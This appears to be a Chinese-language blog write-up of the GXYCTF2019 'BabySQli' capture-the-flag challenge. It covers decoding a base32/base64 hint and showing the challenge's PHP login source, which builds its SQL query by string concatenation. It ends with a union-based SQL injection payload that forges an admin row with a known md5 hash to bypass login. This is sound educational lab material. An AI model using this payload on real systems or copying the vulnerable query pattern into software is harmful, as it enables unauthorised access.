[GXYCTF2019]BabySQli
[GXYCTF2019]BabySQli
一个很简单的的登录页面。
先随便输入一个用户抓个包再测试。
发现有一串 base32 的编码,去解码一下,发现解出来了一串 base64 编码继续解码给出了 sql 的查询语句。
# base32 特征
密文由 A-Z,2-7, = 组成的,5bit一个分组,当不够5bit时则用 “=” 补位
# 利用 ciphey 进行自动匹配并解码
## 项目地址:https://github.com/Ciphey/Ciphey
root@Ksec:/opt/tools# ciphey -- 'MMZFM422K5HDASKDN5TVU3SKOZRFGQRRMMZFM6KJJBSG6WSYJJWESSCWPJNFQSTVLFLTC3CJIQYGOSTZKJ2VSVZRNRFHOPJ5'
Possible plaintext: "select * from user where username = '$name'" (y/N): y
╭─────────────────────────────────────────────────────────────────╮
│ Formats used: │
│ base32 │
│ utf8 │
│ base64 │
│ utf8Plaintext: "select * from user where username = '$name'" │
╰─────────────────────────────────────────────────────────────────╯
# 明文(plaintext) : select * from user where username = '$name'
看到上面抓包发送的数据回显 wrong pass! 说明 admin 这个用户可能是存在的,为了验证admin用户是否存在,随便写一个不可能存在的 username 提交一下就知道了。
果然,admin 是存在的,测试注入类型时发现,username的输入框位置存在注入点。
进行联合查询的时候发现存在过滤,顺便测试一下哪些被过滤掉了。
从回显的情况来看,响应长度为 419 的都是被过滤了的,长度为 415 的都是没被过滤的,所以输入查询后回显用户错误。发现 union 并没有被过滤,查询也没有回显,这下就不知道怎么办了。去看了下给出的源码地址。
<!--MMZFM422K5HDASKDN5TVU3SKOZRFGQRRMMZFM6KJJBSG6WSYJJWESSCWPJNFQSTVLFLTC3CJIQYGOSTZKJ2VSVZRNRFHOPJ5-->
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Do you know who am I?</title>
<?php
require "config.php";
require "flag.php";
// 去除转义
if (get_magic_quotes_gpc()) {
function stripslashes_deep($value)
{
$value = is_array($value) ?
array_map('stripslashes_deep', $value) :
stripslashes($value);
return $value;
}
$_POST = array_map('stripslashes_deep', $_POST);
$_GET = array_map('stripslashes_deep', $_GET);
$_COOKIE = array_map('stripslashes_deep', $_COOKIE);
$_REQUEST = array_map('stripslashes_deep', $_REQUEST);
}
mysqli_query($con,'SET NAMES UTF8');
$name = $_POST['name'];
$password = $_POST['pw'];
$t_pw = md5($password); # 对密码进行 md5 加密
$sql = "select * from user where username = '".$name."'"; # 用户查询语句
// echo $sql;
$result = mysqli_query($con, $sql); # 查询用户
## 先插入查询语句进行查询用户之后才进行过滤
if(preg_match("/\(|\)|\=|or/", $name)){
die("do not hack me!"); # 匹配到了就返回这句话
}
else{
if (!$result) { # 没有查到返回的数据就输出报错的内容
printf("Error: %s\n", mysqli_error($con));
exit();
}
else{
// echo '<pre>';
$arr = mysqli_fetch_row($result); # 获取查询到的一行并作为数组返回
// print_r($arr);
if($arr[1] == "admin"){ # 如果数组的第二个值为 admin
if(md5($password) == $arr[2]){ # 比较输入的password的md5 是不是和数组第三个值相等
echo $flag; # 相等输出 flag
}
else{
die("wrong pass!");
}
}
else{
die("wrong user!");
}
}
}
?>
重要的位置就在 返回数据的第二个位置和第三个位置,索引为 1 和 2 的位置。
mysql> select 1 as arr0,2 as arr1,3 as arr2;
+------+------+------+
| arr0 | arr1 | arr2 |
+------+------+------+
| 1 | 2 | 3 | # 这里的 2 和 3 就是要比较的位置
+------+------+------+
1 row in set (0.00 sec)
联合查询没有被过滤掉,可以利用 union 进行注入,查询输出第2,3的位置的值一定是 admin 和 md5(password) ,构造payload,由于源码中没有查询输入的密码只是对输入的密码进行了 md5 加密后再与使用 username 查出来的密码比较的,只要输入的密码的md5和查询出来的md5相等即可。
# payload
?name=nonono' union select 1,'admin','c4ca4238a0b923820dcc509a6f75849b'#&pw=1
本文来自博客园,作者:knsec,转载请注明原文链接:https://www.cnblogs.com/knsec-cnblogs/articles/16582235.html